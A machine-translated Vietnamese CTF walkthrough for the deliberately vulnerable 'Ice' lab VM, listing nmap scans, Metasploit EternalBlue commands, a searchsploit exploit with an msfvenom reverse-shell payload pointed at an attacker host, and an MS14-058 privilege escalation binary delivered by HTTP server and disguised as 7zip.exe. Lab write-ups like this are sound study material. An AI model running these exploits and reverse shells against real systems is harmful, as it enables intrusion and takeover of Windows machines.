Viết máy làm đá | Bởi Xploit Ayush
Mục tiêu của bài viết này là liệt kê các phương pháp tôi đã làm theo để hoàn thành Máy làm đá dễ bị tổn thương. mà Darkstar sản xuất. Phần tiếp theo của Blue, Ice. Bất kỳ ai cũng có thể triển khai và lạm dụng Ice vì đây là phòng miễn phí.
Máy làm đá dễ bị tổn thương Lin k:https://drive.google.com/u/0/uc?id=19DnNlNWzNVSwiBYz5mxPWRPCWQmINzmz&export=download
Độ khó : Trung cấp
HÃY KHAI THÁC:
Đầu tiên, chúng ta cần tải xuống máy Ice. Sau khi được tải xuống, chúng tôi sẽ mở nó trong VirtualBox và khởi động máy Ice cast với tư cách là máy nạn nhân. Tiếp theo, chúng ta sẽ khởi động máy Parrot của mình với tư cách là máy tấn công để lấy địa chỉ IP của máy nạn nhân.
Sử dụng NetDiscover hoặc Nmap
nmap 192.168.29.0/24
or
sudo netdiscover -r 192.168.29.0/24
Ice machine IP
nmap -sV --script vuln <IP>
Nmap scan
Nmap — script vuln scan
Chúng ta có thể sử dụng Metasploit để quét và khai thác lỗ hổng này.
msfconsole
search ms17-010
use exploit (windows/smb/ms17_010_eternalblue
show options
set RHOST <IP>
run
metasploit
help
help
sysinfo
sysinfo
PHƯƠNG PHÁP 2
Chúng tôi cũng thực hiện tải trọng bằng Searchsploit
Searchsploit ice
Searchsploit -m CVE-2004-1561
We will use this payload
msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.92.128 LPORT=443 -b '\x0a\x0d\x00' -f c
shell code
gcc 568-edit.c -o 568
Shell
gõ “systeminfo” trong dòng lệnh của Ice machine và sao chép tất cả các chi tiết hệ thống vào một tệp văn bản
Vì vậy, những gì tiếp theo?chúng tôi không có đặc quyền Quản trị vì vậy chúng tôi phải thực hiện leo thang đặc quyền cửa sổ
Chúng tôi cần một “trình đề xuất khai thác Windows” có sẵn trên GitHub
Đề xuất khai thác Windows là một công cụ được phát triển bằng Python giúp xác định các bản vá còn thiếu và đề xuất các khai thác có liên quan cho nền tảng Windows. Công cụ này có thể cực kỳ hữu ích cho những người kiểm tra thâm nhập, quản trị viên và người dùng cuối, những người cần xác định và giải quyết các lỗ hổng tiềm ẩn trên hệ thống của họ. Bằng cách sử dụng công cụ này, việc xác định các bản vá bị thiếu và các lỗ hổng tiềm ẩn trở nên dễ dàng hơn, điều này có thể giúp cải thiện tính bảo mật tổng thể của hệ thống.
Công cụ Đề xuất Khai thác của Windows để xác định mọi bản vá còn thiếu và các khai thác tiềm năng. Có rất nhiều cách khai thác, nhưng đối với kịch bản này, chúng tôi sẽ sử dụng cách khai thác MS14–058, cho phép thực thi mã từ xa. Chúng tôi sẽ thực hiện việc khai thác này theo cách thủ công bằng CLI, thay vì sử dụng Metasploit.
Chúng tôi cần tải xuống tệp RAR và giải nén tệp đó trên hệ thống của mình (chúng tôi có thể sử dụng “sudo apt-get install unrar” để cài đặt phần mềm cần thiết). Khi chúng tôi giải nén tệp RAR, chúng tôi sẽ có win32.exe và win64.exe. Vì hệ thống Ice đang chạy trên 64-bit nên chúng tôi sẽ sử dụng win64.exe. Để di chuyển tệp này sang máy Ice, chúng ta có thể sử dụng LOLBin “certutil.exe
Vui lòng sao chép lệnh bên dưới và sử dụng nó để khởi động máy chủ Python của chúng tôi, lệnh này sẽ cho phép bạn gửi tệp exe đến máy của nạn nhân.
python3 -m http.server
python server
Điều hướng đến C:\Users\Dark\Desktop Chúng tôi đã chuyển thành công tệp win64.exe, được đổi tên thành 7zip.exe, sang máy của nạn nhân. Để thực thi tệp, vui lòng sử dụng lệnh sau sau khi đảm bảo các quyền thích hợp:
dir
7zip.exe whoami
Bây giờ chúng tôi đã có tất cả các thành phần của mình, hãy gửi nó và chúng tôi đã hoàn thành thành công CTF của mình !!
Tiếp tục cố gắng, tiếp tục làm việc :)
Cảm ơn bạn đã đọc!!
Hack vui vẻ
Theo dõi tôi nhiều hơn để có thêm mẹo và thủ thuật!
Giới thiệu về tác giả
![Dù sao thì một danh sách được liên kết là gì? [Phần 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)
